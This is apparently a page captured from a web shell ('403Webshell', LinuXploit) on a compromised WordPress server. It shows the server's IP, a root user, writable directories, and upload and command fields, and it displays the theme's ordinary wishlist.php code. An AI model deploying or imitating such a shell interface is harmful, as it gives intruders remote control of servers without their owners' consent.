403Webshell
Server IP : 104.171.130.249  /  Your IP : 216.73.216.146
Web Server : nginx/1.25.5
System : Linux 0dac65491b7e 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/matreshka/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/matreshka/inc/wishlist.php
<?php
/**
 * Wishlist storage, AJAX handlers, and fallback route.
 */

/**
 * Wishlist functionality
 */

// Normalize wishlist IDs and optionally remove products that are no longer visible.
function matreshka_normalize_wishlist( $wishlist, $validate_products = false ) {
	if ( ! is_array( $wishlist ) ) {
		return array();
	}

	$normalized = array();

	foreach ( $wishlist as $product_id ) {
		$product_id = absint( $product_id );

		if ( ! $product_id || isset( $normalized[ $product_id ] ) ) {
			continue;
		}

		if ( $validate_products && function_exists( 'wc_get_product' ) ) {
			$product = wc_get_product( $product_id );

			if ( ! $product || ! $product->is_visible() ) {
				continue;
			}
		}

		$normalized[ $product_id ] = $product_id;
	}

	return array_values( $normalized );
}

// Save wishlist to the current storage.
function matreshka_save_wishlist( $wishlist ) {
	$wishlist = matreshka_normalize_wishlist( $wishlist );

	if ( is_user_logged_in() ) {
		update_user_meta( get_current_user_id(), 'matreshka_wishlist', $wishlist );
		return;
	}

	$encoded_wishlist = wp_json_encode( $wishlist );

	if ( false !== $encoded_wishlist && ! headers_sent() ) {
		setcookie( 'matreshka_wishlist', $encoded_wishlist, time() + ( 86400 * 30 ), '/' );
	}

	$_COOKIE['matreshka_wishlist'] = false !== $encoded_wishlist ? $encoded_wishlist : '[]';
}

// Get user wishlist
function matreshka_get_wishlist( $validate_products = false ) {
	if ( is_user_logged_in() ) {
		$user_id = get_current_user_id();
		$stored_wishlist = get_user_meta( $user_id, 'matreshka_wishlist', true );
		$stored_wishlist = is_array( $stored_wishlist ) ? $stored_wishlist : array();
		$wishlist = matreshka_normalize_wishlist( $stored_wishlist, $validate_products );

		if ( $validate_products && $wishlist !== array_values( $stored_wishlist ) ) {
			update_user_meta( $user_id, 'matreshka_wishlist', $wishlist );
		}

		return $wishlist;
	} else {
		// For non-logged in users, use session/cookie
		if ( ! isset( $_COOKIE['matreshka_wishlist'] ) ) {
			return array();
		}
		$stored_wishlist = json_decode( stripslashes( $_COOKIE['matreshka_wishlist'] ), true );
		$stored_wishlist = is_array( $stored_wishlist ) ? $stored_wishlist : array();
		$wishlist = matreshka_normalize_wishlist( $stored_wishlist, $validate_products );

		if ( $validate_products && $wishlist !== array_values( $stored_wishlist ) ) {
			matreshka_save_wishlist( $wishlist );
		}

		return $wishlist;
	}
}

// Check if product is in wishlist
function matreshka_is_in_wishlist( $product_id ) {
	$wishlist = matreshka_get_wishlist();
	return in_array( absint( $product_id ), $wishlist, true );
}

// Add product to wishlist via AJAX
function matreshka_add_to_wishlist() {
	check_ajax_referer( 'matreshka-wishlist-nonce', 'nonce' );

	$product_id = isset( $_POST['product_id'] ) ? absint( $_POST['product_id'] ) : 0;

	if ( ! $product_id ) {
		wp_send_json_error( array( 'message' => 'Invalid product ID' ) );
	}

	$product = function_exists( 'wc_get_product' ) ? wc_get_product( $product_id ) : false;

	if ( ! $product || ! $product->is_visible() ) {
		wp_send_json_error( array( 'message' => 'Product not found' ) );
	}

	if ( is_user_logged_in() ) {
		$user_id = get_current_user_id();
		$wishlist = get_user_meta( $user_id, 'matreshka_wishlist', true );
		$wishlist = matreshka_normalize_wishlist( $wishlist, true );

		if ( ! in_array( $product_id, $wishlist, true ) ) {
			$wishlist[] = $product_id;
		}

		update_user_meta( $user_id, 'matreshka_wishlist', $wishlist );
	} else {
		// For non-logged in users, use cookie
		$wishlist = isset( $_COOKIE['matreshka_wishlist'] ) ? json_decode( stripslashes( $_COOKIE['matreshka_wishlist'] ), true ) : array();
		$wishlist = matreshka_normalize_wishlist( $wishlist, true );

		if ( ! in_array( $product_id, $wishlist, true ) ) {
			$wishlist[] = $product_id;
		}

		matreshka_save_wishlist( $wishlist );
	}

	wp_send_json_success( array(
		'message' => 'Product added to wishlist',
		'count' => count( $wishlist )
	) );
}
add_action( 'wp_ajax_matreshka_add_to_wishlist', 'matreshka_add_to_wishlist' );
add_action( 'wp_ajax_nopriv_matreshka_add_to_wishlist', 'matreshka_add_to_wishlist' );

// Remove product from wishlist via AJAX
function matreshka_remove_from_wishlist() {
	check_ajax_referer( 'matreshka-wishlist-nonce', 'nonce' );

	$product_id = isset( $_POST['product_id'] ) ? absint( $_POST['product_id'] ) : 0;

	if ( ! $product_id ) {
		wp_send_json_error( array( 'message' => 'Invalid product ID' ) );
	}

	if ( is_user_logged_in() ) {
		$user_id = get_current_user_id();
		$wishlist = get_user_meta( $user_id, 'matreshka_wishlist', true );
		$wishlist = matreshka_normalize_wishlist( $wishlist, true );

		$wishlist = array_diff( $wishlist, array( $product_id ) );
		update_user_meta( $user_id, 'matreshka_wishlist', array_values( $wishlist ) );
	} else {
		// For non-logged in users, use cookie
		$wishlist = isset( $_COOKIE['matreshka_wishlist'] ) ? json_decode( stripslashes( $_COOKIE['matreshka_wishlist'] ), true ) : array();
		$wishlist = matreshka_normalize_wishlist( $wishlist, true );

		$wishlist = array_diff( $wishlist, array( $product_id ) );
		matreshka_save_wishlist( array_values( $wishlist ) );
	}

	wp_send_json_success( array(
		'message' => 'Product removed from wishlist',
		'count' => count( $wishlist )
	) );
}

// --- Wishlist page (optional fallback route) ---
// Позволяет открывать /wishlist/ даже если WP-страница со slug=wishlist ещё не создана в админке.
add_action( 'init', function () {
	add_rewrite_rule( '^wishlist/?$', 'index.php?matreshka_wishlist_page=1', 'top' );
} );

add_filter( 'query_vars', function ( $vars ) {
	$vars[] = 'matreshka_wishlist_page';
	return $vars;
} );

add_filter( 'template_include', function ( $template ) {
	if ( get_query_var( 'matreshka_wishlist_page' ) ) {
		$wishlist_template = get_theme_file_path( 'page-wishlist.php' );
		if ( file_exists( $wishlist_template ) ) {
			return $wishlist_template;
		}
	}
	return $template;
} );

add_action( 'after_switch_theme', function () {
	flush_rewrite_rules();
} );
add_action( 'wp_ajax_matreshka_remove_from_wishlist', 'matreshka_remove_from_wishlist' );
add_action( 'wp_ajax_nopriv_matreshka_remove_from_wishlist', 'matreshka_remove_from_wishlist' );

Youez - 2016 - github.com/yon3zu
LinuXploit